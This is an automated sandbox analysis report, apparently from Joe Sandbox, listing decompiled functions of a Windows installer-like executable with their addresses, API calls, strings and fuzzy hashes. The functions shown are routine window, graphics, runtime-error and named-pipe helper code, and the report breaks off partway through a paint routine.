Function 0041BE54 Relevance: 9.1, APIs: 6, Instructions: 71
COMMON

Download Yara Rule

C-Code - Quality: 50%

			E0041BE54(intOrPtr* __eax, void* __ebx, signed int __ecx, intOrPtr __edx, void* __edi, void* __esi, void* __eflags) {
				intOrPtr* _v8;
				intOrPtr _v12;
				signed int _v16;
				intOrPtr _v20;
				signed int _v24;
				signed short _v30;
				int _v40;
				int _v44;
				signed short _v48;
				int _t28;
				signed int _t29;
				signed short _t30;
				signed int _t31;
				signed short _t35;
				intOrPtr _t49;
				void* _t52;
				void* _t53;
				void* _t54;
				intOrPtr _t55;

				_t53 = _t54;
				_t55 = _t54 + 0xffffff8c;
				_v16 = __ecx;
				_v12 = __edx;
				_v8 = __eax;
				_v24 = _v16 << 4;
				_v20 = E00406A38(_v24, __edx, __edi, __eflags);
				 *[fs:0x0] = _t55;
				 *((intOrPtr*)( *_v8))( *[fs:0x0], 0x41c100, _t53, __edi, __esi, __ebx, _t52);
				_v44 = GetSystemMetrics(0xb);
				_t28 = GetSystemMetrics(0xc);
				_v40 = _t28;
				_push(0);
				L0040602C();
				_v48 = _t28;
				if(_v48 == 0) {
					E0041B45C();
				}
				_push(_t53);
				_push(0x41bf24);
				_push( *[fs:edx]);
				 *[fs:edx] = _t55;
				_push(0xe);
				_t29 = _v48;
				_push(_t29);
				L00405D5C();
				_push(0xc);
				_t30 = _v48;
				_push(_t30);
				L00405D5C();
				_t31 = _t29 * _t30;
				if(_t31 != 0x18) {
					__eflags = 1;
					_v30 = 1 << _t31;
				} else {
					_v30 = 0;
				}
				_pop(_t49);
				 *[fs:eax] = _t49;
				_push(E0041BF2B);
				_t35 = _v48;
				_push(_t35);
				_push(0);
				L00406214();
				return _t35;
			}

0x0041be55
0x0041be57
0x0041be5d
0x0041be60
0x0041be63
0x0041be6c
0x0041be77
0x0041be87
0x0041be99
0x0041bea2
0x0041bea7
0x0041beac
0x0041beaf
0x0041beb1
0x0041beb6
0x0041bebd
0x0041bebf
0x0041bebf
0x0041bec6
0x0041bec7
0x0041becc
0x0041becf
0x0041bed2
0x0041bed4
0x0041bed7
0x0041bed8
0x0041bedf
0x0041bee1
0x0041bee4
0x0041bee5
0x0041beee
0x0041bef4
0x0041bf04
0x0041bf07
0x0041bef6
0x0041bef6
0x0041bef6
0x0041bf0d
0x0041bf10
0x0041bf13
0x0041bf18
0x0041bf1b
0x0041bf1c
0x0041bf1e
0x0041bf23

APIs

GetSystemMetrics.USER32 ref: 0041BE9D
GetSystemMetrics.USER32 ref: 0041BEA7
740BAC50.USER32(00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BEB1
740BAD70.GDI32(00000000,0000000E,00000000,0041BF24,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BED8
740BAD70.GDI32(00000000,0000000C,00000000,0000000E,00000000,0041BF24,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BEE5
740BB380.USER32(00000000,00000000,0041BF2B,0000000E,00000000,0041BF24,?,00000000,0000000C,0000000B,?,?,00000000,?), ref: 0041BF1E

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: MetricsSystem$B380
String ID:
API String ID: 3145338429-0
Opcode ID: 268c34d798b48d523a2a72084894ca833f9098c92c62758936d7a7a357cc6e81
Instruction ID: ab95e7bdbdf47fefe5665f381421f791bef747732ba1a7285d8139ec20da3399
Opcode Fuzzy Hash: 268c34d798b48d523a2a72084894ca833f9098c92c62758936d7a7a357cc6e81
Instruction Fuzzy Hash: 15215770E40648AFEB00EFA9C842BEEBBB4EF48704F10802AF515B7291D7795940CF69

Uniqueness

Uniqueness Score: -1.00%

Function 00473650 Relevance: 9.1, APIs: 6, Instructions: 57
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E00473650(void* __eax) {
				intOrPtr _t12;
				signed int _t15;
				intOrPtr _t16;
				intOrPtr _t19;
				signed int _t21;
				long _t22;
				intOrPtr _t23;
				intOrPtr _t26;
				intOrPtr _t29;
				void* _t32;

				_t32 = __eax;
				_t12 =  *0x48d628; // 0x2162410
				_t15 = GetWindowLongA( *(_t12 + 0x20), 0xffffffec) & 0xffffff00 | (_t14 & 0x00000080) == 0x00000000;
				if(_t32 != _t15) {
					_t16 =  *0x48d628; // 0x2162410
					SetWindowPos( *(_t16 + 0x20), 0, 0, 0, 0, 0, 0x97);
					_t19 =  *0x48d628; // 0x2162410
					_t21 = GetWindowLongA( *(_t19 + 0x20), 0xffffffec);
					if(_t32 == 0) {
						_t22 = _t21 | 0x00000080;
					} else {
						_t22 = _t21 & 0xffffff7f;
					}
					_t23 =  *0x48d628; // 0x2162410
					SetWindowLongA( *(_t23 + 0x20), 0xffffffec, _t22);
					if(_t32 == 0) {
						_t26 =  *0x48d628; // 0x2162410
						return SetWindowPos( *(_t26 + 0x20), 0, 0, 0, 0, 0, 0x57);
					} else {
						_t29 =  *0x48d628; // 0x2162410
						return ShowWindow( *(_t29 + 0x20), 5);
					}
				}
				return _t15;
			}

0x00473651
0x00473655
0x00473665
0x0047366a
0x0047367b
0x00473684
0x0047368b
0x00473694
0x0047369b
0x004736a4
0x0047369d
0x0047369d
0x0047369d
0x004736ac
0x004736b5
0x004736bc
0x004736dc
0x00000000
0x004736be
0x004736c0
0x00000000
0x004736c9
0x004736bc
0x004736eb

APIs

GetWindowLongA.USER32 ref: 0047365E
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC,?,00465D19), ref: 00473684
GetWindowLongA.USER32 ref: 00473694
SetWindowLongA.USER32 ref: 004736B5
ShowWindow.USER32(?,00000005,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000,00000000,00000000,00000097,?,000000EC), ref: 004736C9
SetWindowPos.USER32(?,00000000,00000000,00000000,00000000,00000000,00000057,?,000000EC,00000000,?,000000EC,?,00000000,00000000,00000000), ref: 004736E5

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Window$Long$Show
String ID:
API String ID: 3609083571-0
Opcode ID: d39bea5b712bfdc9735a60e0145ecc3e7a96a44752dd36986865cf0652838775
Instruction ID: cc5d0bd8627a758d92d1c102103f7bea2d573f558d08472a26e14bce27c5c0cd
Opcode Fuzzy Hash: d39bea5b712bfdc9735a60e0145ecc3e7a96a44752dd36986865cf0652838775
Instruction Fuzzy Hash: B00140757412146BD610EF68CD41F2A37D86B0C331F054699B549EB3E2D229D8009B0C

Uniqueness

Uniqueness Score: -1.00%

Function 0041B338 Relevance: 9.0, APIs: 6, Instructions: 43
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E0041B338(void* __eax) {
				void* _t36;

				_t36 = __eax;
				UnrealizeObject(E0041A7A8( *((intOrPtr*)(__eax + 0x14))));
				SelectObject( *(_t36 + 4), E0041A7A8( *((intOrPtr*)(_t36 + 0x14))));
				if(E0041A824( *((intOrPtr*)(_t36 + 0x14))) != 0) {
					SetBkColor( *(_t36 + 4),  !(E0041A120(E0041A76C( *((intOrPtr*)(_t36 + 0x14))))));
					return SetBkMode( *(_t36 + 4), 1);
				} else {
					SetBkColor( *(_t36 + 4), E0041A120(E0041A76C( *((intOrPtr*)(_t36 + 0x14)))));
					return SetBkMode( *(_t36 + 4), 2);
				}
			}

0x0041b339
0x0041b344
0x0041b356
0x0041b365
0x0041b39f
0x0041b3b0
0x0041b367
0x0041b379
0x0041b38a
0x0041b38a

APIs

Part of subcall function 0041A7A8: CreateBrushIndirect.GDI32 ref: 0041A813

UnrealizeObject.GDI32(00000000), ref: 0041B344
SelectObject.GDI32(?,00000000), ref: 0041B356
SetBkColor.GDI32(?,00000000), ref: 0041B379
SetBkMode.GDI32(?,00000002), ref: 0041B384
SetBkColor.GDI32(?,00000000), ref: 0041B39F
SetBkMode.GDI32(?,00000001), ref: 0041B3AA

Part of subcall function 0041A120: GetSysColor.USER32(?), ref: 0041A12A

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: Color$ModeObject$BrushCreateIndirectSelectUnrealize
String ID:
API String ID: 3527656728-0
Opcode ID: f29873dfcf61593aa75cb2549b6a9cf3e48997b8b5295c1044d98b88f295631e
Instruction ID: 77b069976dd3d0630739711c0f042b47a511feb73613b7c2979f61d441d75bd8
Opcode Fuzzy Hash: f29873dfcf61593aa75cb2549b6a9cf3e48997b8b5295c1044d98b88f295631e
Instruction Fuzzy Hash: 80F0BB75601500ABDF00FFAADAC6A5B37A89F043097144066B95CEF297CA2DDD608B7A

Uniqueness

Uniqueness Score: -1.00%

Function 0046E014 Relevance: 8.9, APIs: 4, Strings: 1, Instructions: 144
windowCOMMON

Download Yara Rule

C-Code - Quality: 73%

			E0046E014(void* __ebx, void* __edi, void* __esi) {
				char _v5;
				intOrPtr _v12;
				long _v16;
				char _v20;
				struct _WNDCLASSW _v60;
				long _v64;
				intOrPtr _t53;
				void* _t55;
				intOrPtr _t81;
				long _t90;
				intOrPtr _t103;
				void* _t106;
				intOrPtr _t117;
				intOrPtr _t120;
				void* _t133;
				void* _t135;
				void* _t136;
				intOrPtr _t137;
				void* _t142;
				void* _t148;

				_t131 = __esi;
				_t130 = __edi;
				_t135 = _t136;
				_t137 = _t136 + 0xffffffc4;
				_push(__esi);
				_push(__edi);
				_v64 = 0;
				_v16 = 0;
				_push(_t135);
				_push(0x46e216);
				_push( *[fs:eax]);
				 *[fs:eax] = _t137;
				_v12 = E0046E248(1, __edi);
				_push(_t135);
				_push(0x46e1f1);
				_push( *[fs:edx]);
				 *[fs:edx] = _t137;
				if( *0x48c0e0 == 2 && GetClassInfoW(0, L"COMBOBOX",  &_v60) != 0) {
					 *0x4adf88 = _v60.lpfnWndProc;
					_push(E0046DFC8);
					_push(0xfffffffc);
					_t103 = E004182A8( *((intOrPtr*)(_v12 + 0x1b8)));
					_push(_t103);
					L004062B4();
					 *0x4adf8c = _t103;
				}
				_t53 =  *0x4ae1c4; // 0x2162a4c
				_t55 =  *((intOrPtr*)(_t53 + 8)) - 1;
				if(_t55 < 0) {
					L14:
					_t105 =  *((intOrPtr*)(_v12 + 0x1b8));
					_t117 =  *0x48cb0c; // 0x0
					E0042A124( *((intOrPtr*)(_v12 + 0x1b8)), E0040C1C0( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)), _t117));
					_t148 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))) + 0x10))() - 1;
					if(_t148 <= 0) {
						_v5 = 1;
					} else {
						E00422F18(_v12, _t105, _t130, _t131);
						_v5 = _t148 == 0;
						if(_v5 != 0 && E0042A108( *((intOrPtr*)(_v12 + 0x1b8))) >= 0) {
							E0047338C( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))) + 0x14))(),  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))));
						}
					}
					_pop(_t120);
					 *[fs:eax] = _t120;
					_push(0x46e1f8);
					return E00402CA0(_v12);
				}
				_v20 = _t55 + 1;
				_t133 = 0;
				do {
					_t81 =  *0x4ae1c4; // 0x2162a4c
					_t106 = E0040B504(_t81, _t133);
					_t142 = _t133 -  *0x48cb0c; // 0x0
					if(_t142 == 0 ||  *((intOrPtr*)(_t106 + 0x2c)) == 0 || GetACP() ==  *((intOrPtr*)(_t106 + 0x2c))) {
						E00403708( &_v16, 0x46e244,  *((intOrPtr*)(_t106 + 4)));
						if( *0x48c0e0 != 2) {
							E00403CEC();
							_t90 =  *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))) + 0x2c))();
						} else {
							_t90 = SendMessageW(E004182A8( *((intOrPtr*)(_v12 + 0x1b8))), 0x143, 0, _v16);
						}
						if(_t90 >= 0) {
							 *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)( *((intOrPtr*)(_v12 + 0x1b8)) + 0xfc)))) + 0x20))();
						}
					}
					_t133 = _t133 + 1;
					_t29 =  &_v20;
					 *_t29 = _v20 - 1;
				} while ( *_t29 != 0);
				goto L14;
			}

0x0046e014
0x0046e014
0x0046e015
0x0046e017
0x0046e01b
0x0046e01c
0x0046e01f
0x0046e022
0x0046e027
0x0046e028
0x0046e02d
0x0046e030
0x0046e045
0x0046e04a
0x0046e04b
0x0046e050
0x0046e053
0x0046e05d
0x0046e076
0x0046e07b
0x0046e080
0x0046e08b
0x0046e090
0x0046e091
0x0046e096
0x0046e096
0x0046e09b
0x0046e0a3
0x0046e0a6
0x0046e159
0x0046e15c
0x0046e168
0x0046e177
0x0046e190
0x0046e191
0x0046e1d7
0x0046e193
0x0046e196
0x0046e19c
0x0046e1a4
0x0046e1d0
0x0046e1d0
0x0046e1a4
0x0046e1dd
0x0046e1e0
0x0046e1e3
0x0046e1f0
0x0046e1f0
0x0046e0ad
0x0046e0b0
0x0046e0b2
0x0046e0b4
0x0046e0be
0x0046e0c0
0x0046e0c6
0x0046e0e3
0x0046e0ef
0x0046e118
0x0046e131
0x0046e0f1
0x0046e10b
0x0046e10b
0x0046e136
0x0046e14c
0x0046e14c
0x0046e136
0x0046e14f
0x0046e150
0x0046e150
0x0046e150
0x00000000

APIs

GetClassInfoW.USER32 ref: 0046E06A
740BB5A0.USER32(00000000,000000FC,Function_0006DFC8,00000000,COMBOBOX,?,00000000,0046E1F1,?,00000000,0046E216), ref: 0046E091
GetACP.KERNEL32(00000000,0046E1F1,?,00000000,0046E216), ref: 0046E0CE
SendMessageW.USER32(00000000,00000143,00000000,?), ref: 0046E10B

Strings

COMBOBOX, xrefs: 0046E063

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ClassInfoMessageSend
String ID: COMBOBOX
API String ID: 1455646776-1136563877
Opcode ID: ecf6b1b36adab5c0c607c0c5491daa48661cbd09d0af7ffc92b2b2a1d3dd5697
Instruction ID: bf9fa50a147f2a7a1fd21979d2a4f48488d8ebd37f07552d0d4d7f5ff4337c98
Opcode Fuzzy Hash: ecf6b1b36adab5c0c607c0c5491daa48661cbd09d0af7ffc92b2b2a1d3dd5697
Instruction Fuzzy Hash: 0D514E38A00214DFDB10DF66D885A9E77F5EB09314F1181BAE805EB3A2DB34EC41CB5A

Uniqueness

Uniqueness Score: -1.00%

Function 004564C0 Relevance: 8.8, APIs: 1, Strings: 4, Instructions: 77
pipeCOMMON

Download Yara Rule

C-Code - Quality: 61%

			E004564C0(intOrPtr __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				long _v8;
				char _v16;
				void* _t10;
				int _t11;
				void _t33;
				intOrPtr _t39;
				intOrPtr _t40;
				intOrPtr _t47;
				intOrPtr _t48;
				void* _t52;

				_t45 = __esi;
				_t44 = __edi;
				_t47 = _t48;
				_push(0);
				_push(0);
				_push(0);
				_push(__esi);
				_push(__edi);
				_push(_t47);
				_push(0x4565f5);
				_push( *[fs:ecx]);
				 *[fs:ecx] = _t48;
				 *0x48df18 =  *0x48df18 + 1;
				_t33 =  *0x48df18; // 0x0
				 *0x48df20 = _t33;
				 *0x48df24 = __eax;
				 *0x48df28 = __edx;
				_t31 = 0xc + __edx;
				_push(_t47);
				_push(0x456595);
				_push( *[fs:eax]);
				 *[fs:eax] = _t48;
				_t10 =  *0x48df14; // 0x0
				_t11 = TransactNamedPipe(_t10, 0x48df20, 0xc + __edx, 0x49df2c, 0x10010,  &_v8, 0);
				_t49 = _t11;
				if(_t11 == 0) {
					E00451E44("TransactNamedPipe", _t31, _t33, __edi, __esi, _t49);
				}
				if(0x10 > _v8) {
					L4:
					E00451DE8("CallHelper: Response message has wrong size", _t31, _t44, _t45, _t51);
				} else {
					_t51 = _v8 - 0x10 -  *0x49df38;
					if(_v8 - 0x10 !=  *0x49df38) {
						goto L4;
					}
				}
				_t52 =  *0x49df2c -  *0x48df20; // 0x0
				if(_t52 != 0) {
					E00451DE8("CallHelper: Wrong sequence number", _t31, _t44, _t45, _t52);
				}
				_t53 =  *0x49df30;
				if( *0x49df30 == 0) {
					E00451DE8("CallHelper: Command did not execute", _t31, _t44, _t45, _t53);
				}
				_pop(_t39);
				 *[fs:eax] = _t39;
				_pop(_t40);
				 *[fs:eax] = _t40;
				_push(E004565FC);
				return E00403568( &_v16, 2);
			}

0x004564c0
0x004564c0
0x004564c1
0x004564c3
0x004564c5
0x004564c7
0x004564ca
0x004564cb
0x004564ce
0x004564cf
0x004564d4
0x004564d7
0x004564da
0x004564e0
0x004564e6
0x004564ec
0x004564f1
0x004564fc
0x00456500
0x00456501
0x00456506
0x00456509
0x00456522
0x00456528
0x0045652d
0x0045652f
0x00456536
0x00456536
0x00456543
0x00456557
0x0045655c
0x00456545
0x0045654f
0x00456555
0x00000000
0x00000000
0x00456555
0x00456566
0x0045656c
0x00456573
0x00456573
0x00456578
0x0045657f
0x00456586
0x00456586
0x0045658d
0x00456590
0x004565dc
0x004565df
0x004565e2
0x004565f4

APIs

TransactNamedPipe.KERNEL32(00000000,0048DF20,0000000C,0049DF2C,00010010,00000000,00000000,00000000,00456595,?,00000000,004565F5,?,?,00000000,00000000), ref: 00456528

Part of subcall function 00451E44: GetLastError.KERNEL32(00000000,00451EDC,?,?,00000000,00000000,00000005,00000000,00452922,?,?,00000000,0048D628,00000004,00000000,00000000), ref: 00451E68

Strings

TransactNamedPipe, xrefs: 00456531
CallHelper: Wrong sequence number, xrefs: 0045656E
CallHelper: Command did not execute, xrefs: 00456581
CallHelper: Response message has wrong size, xrefs: 00456557

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ErrorLastNamedPipeTransact
String ID: CallHelper: Command did not execute$CallHelper: Response message has wrong size$CallHelper: Wrong sequence number$TransactNamedPipe
API String ID: 1561970684-1127398157
Opcode ID: ffb694ad1e35bee1aadd5e3062ec2ba92c81d3c57b9e06c8291ffe42f330cbda
Instruction ID: 2e93eb1e0bdb189b8afc9a6ad78755c4a3fb252293179feebe95d9f813390879
Opcode Fuzzy Hash: ffb694ad1e35bee1aadd5e3062ec2ba92c81d3c57b9e06c8291ffe42f330cbda
Instruction Fuzzy Hash: D621A771A44204BFD711DF65EC42B5E77A8E748715FA1483BFE01C7296E778A808DA1C

Uniqueness

Uniqueness Score: -1.00%

Function 00404E7D Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 73
windowCOMMON

Download Yara Rule

C-Code - Quality: 85%

			E00404E7D(signed int __eax) {
				intOrPtr* _t10;
				intOrPtr* _t11;
				intOrPtr* _t12;
				signed int _t19;
				signed int _t23;
				intOrPtr _t24;
				unsigned int _t25;
				char* _t33;
				char* _t34;
				void* _t50;

				_t10 = (__eax & 0x000000d0) - 1;
				 *((intOrPtr*)(_t10 + 0x48d0343d)) =  *((intOrPtr*)(_t10 + 0x48d0343d)) + _t10;
				 *_t10 =  *_t10 + _t10;
				if( *_t10 == 0) {
					while(1) {
						L4:
						_t11 =  *0x48d028; // 0x404b60
						_t12 = _t11;
						if(_t12 == 0) {
							break;
						}
						 *0x48d028 = 0;
						 *_t12();
					}
					if( *0x48d02c == 0) {
						L14:
						E00404E40(0x48d03c, 0xa);
						E00404E40(0x48d208, 0xa);
						E00401A98();
						if( *0x48d418 != 0) {
							L17:
							E00403464();
							 *0x48d418 = 0;
							_t19 =  *0x48d024; // 0x0
							asm("sbb eax, eax");
							return  ~_t19 + 1;
						}
						E00403464();
						L16:
						ExitProcess( *0x48d024);
						goto L17;
					}
					_t23 =  *0x48d024; // 0x0
					_t33 = "  at 00000000";
					do {
						_t4 = _t23 % 0xa;
						_t23 = _t23 / 0xa;
						 *_t33 = _t4 + 0x30;
						_t33 = _t33 - 1;
					} while (_t23 != 0);
					_t34 = 0x48c094;
					_t24 =  *0x48d02c; // 0x0
					_t25 = _t24 - 0x40121c;
					do {
						 *_t34 =  *((intOrPtr*)((_t25 & 0x0000000f) + 0x404f94));
						_t34 = _t34 - 1;
						_t25 = _t25 >> 4;
					} while (_t25 != 0);
					if( *0x48d035 != 0) {
						E0040515C(0x48d208, "Runtime error     at 00000000");
						E004050DF();
					} else {
						MessageBoxA(0, "Runtime error     at 00000000", "Error", 0);
					}
					goto L14;
				}
				_t50 =  *0x48d418 - 1;
				if(_t50 < 0) {
					goto L16;
				}
				if(_t50 == 0 || _t10 != 0) {
					goto L4;
				} else {
					goto L17;
				}
			}

0x00404e7f
0x00404e80
0x00404e86
0x00404e88
0x00404ea1
0x00404ea1
0x00404ea1
0x00404ea6
0x00404ea8
0x00000000
0x00000000
0x00404eac
0x00404eb2
0x00404eb2
0x00404ebd
0x00404f30
0x00404f35
0x00404f3f
0x00404f44
0x00404f50
0x00404f62
0x00404f62
0x00404f67
0x00404f6e
0x00404f75
0x00404f91
0x00404f91
0x00404f52
0x00404f57
0x00404f5d
0x00000000
0x00404f5d
0x00404ebf
0x00404ec4
0x00404ece
0x00404ed0
0x00404ed0
0x00404ed5
0x00404ed7
0x00404ed8
0x00404edc
0x00404ee1
0x00404ee6
0x00404eeb
0x00404ef6
0x00404ef8
0x00404ef9
0x00404ef9
0x00404f05
0x00404f26
0x00404f2b
0x00404f07
0x00404f15
0x00404f15
0x00000000
0x00404f05
0x00404e8a
0x00404e91
0x00000000
0x00000000
0x00404e97
0x00000000
0x00000000
0x00000000
0x00000000

APIs

MessageBoxA.USER32 ref: 00404F15
ExitProcess.KERNEL32 ref: 00404F5D

Strings

Runtime error at 00000000, xrefs: 00404F0E, 00404F21
`K@, xrefs: 00404EA1, 00404EAC
Error, xrefs: 00404F09

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: ExitMessageProcess
String ID: Error$Runtime error at 00000000$`K@
API String ID: 1220098344-2860380777
Opcode ID: 04dea0945b596178c9acf7d899fdf8229a0a2eb1d68aa2e5f90a234e0f9c5425
Instruction ID: 5a9a2879712768ed3030dd4058608d2cd415d7acb70119d6e1204d26538e00f8
Opcode Fuzzy Hash: 04dea0945b596178c9acf7d899fdf8229a0a2eb1d68aa2e5f90a234e0f9c5425
Instruction Fuzzy Hash: ED21C970E562418AD712BB75988171E379197D731CF04897FE240BB3E2C63C9C4687AE

Uniqueness

Uniqueness Score: -1.00%

Function 0044F3E8 Relevance: 8.8, APIs: 2, Strings: 3, Instructions: 16
COMMON

Download Yara Rule

C-Code - Quality: 80%

			E0044F3E8() {
				struct HINSTANCE__* _t5;
				intOrPtr _t6;

				E00404B7C(0x48c9a8);
				if( *0x48d034 == 0) {
					_t6 =  *0x48d020; // 0x44f3b4
					 *0x48d75c = _t6;
					 *0x48d020 = E0044F3B4;
				}
				E0044F378();
				E0044B310();
				_push("NotifyWinEvent");
				_t5 = GetModuleHandleA("user32.dll");
				_push(_t5);
				L00405A9C();
				 *0x48d748 = _t5;
				return _t5;
			}

0x0044f3ed
0x0044f3f9
0x0044f3fb
0x0044f400
0x0044f405
0x0044f405
0x0044f40f
0x0044f414
0x0044f419
0x0044f423
0x0044f428
0x0044f429
0x0044f42e
0x0044f433

APIs

GetModuleHandleA.KERNEL32(user32.dll,NotifyWinEvent,0048B7A2), ref: 0044F423
6C8D5550.KERNEL32(00000000,user32.dll,NotifyWinEvent,0048B7A2), ref: 0044F429

Strings

NotifyWinEvent, xrefs: 0044F419
user32.dll, xrefs: 0044F41E
\ C, xrefs: 0044F400

Memory Dump Source

Source File: 00000001.00000002.444700726.0000000000401000.00000020.00000001.01000000.00000004.sdmp, Offset: 00400000, based on PE: true

Associated: 00000001.00000002.444684381.0000000000400000.00000002.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.000000000048C000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444872986.00000000004AE000.00000004.00000001.01000000.00000004.sdmpDownload File
Associated: 00000001.00000002.444897221.00000000004BC000.00000002.00000001.01000000.00000004.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_400000_is-2H2P0.jbxd

Similarity

API ID: D5550HandleModule
String ID: NotifyWinEvent$\ C$user32.dll
API String ID: 920177481-2670885197
Opcode ID: f23abb250f5d8cbd57fbc1a3597fd41e5b5c4fbf6de949d5700e8edf7e678f20
Instruction ID: a562bb83bf1e91672e59b0269b5ac662ec6ff40591448e8de7f393a80c299ec4
Opcode Fuzzy Hash: f23abb250f5d8cbd57fbc1a3597fd41e5b5c4fbf6de949d5700e8edf7e678f20
Instruction Fuzzy Hash: 38E0B6B0E027545AE601BFA69842B0E3BA0D75531CF20493FA900662A3CB7C44498F2E

Uniqueness

Uniqueness Score: -1.00%

Function 00416CF4 Relevance: 7.6, APIs: 5, Instructions: 104
COMMON

Download Yara Rule

C-Code - Quality: 85%

			E00416CF4(intOrPtr* __eax, void* __ebx, intOrPtr __edx, void* __edi, void* __esi) {
				intOrPtr* _v8;
				intOrPtr _v12;
				int _v16;
				int _v20;
				struct tagPAINTSTRUCT _v84;
				intOrPtr _t54;
				void* _t63;
				struct HDC__* _t73;
				intOrPtr _t87;
				void* _t94;
				void* _t95;
				void* _t97;
				void* _t99;
				void* _t100;
				intOrPtr _t101;

				_t99 = _t100;
				_t101 = _t100 + 0xffffffb0;
				_v12 = __edx;
				_v8 = __eax;
				_t73 =  *(_v12 + 4);
				if(_t73 == 0) {
					_t73 = BeginPaint(E004182A8(_v8),  &_v84);
				}
				_push(_t99);
				_push(0x416e0d);
				_push( *[fs:ecx]);
				 *[fs:ecx] = _t101;
				if( *((intOrPtr*)(_v8 + 0xb0)) != 0) {
					_v20 = SaveDC(_t73);
					_v16 = 2;
					_t94 =  *((intOrPtr*)( *((intOrPtr*)(_v8 + 0xb0)) + 8)) - 1;
					if(_t94 >= 0) {
						_t95 = _t94 + 1;
						_t97 = 0;
						do {
							_t63 = E0040B504( *((intOrPtr*)(_v8 + 0xb0)), _t97);
							if( *((char*)(_t63 + 0x37)) != 0 || ( *(_t63 + 0x1c) & 0x00000010) != 0 && ( *(_t63 + 0x35) & 0x00000004) == 0) {
								if(( *(_t63 + 0x34) & 0x00000040) == 0) {
									goto L11;
								} else {
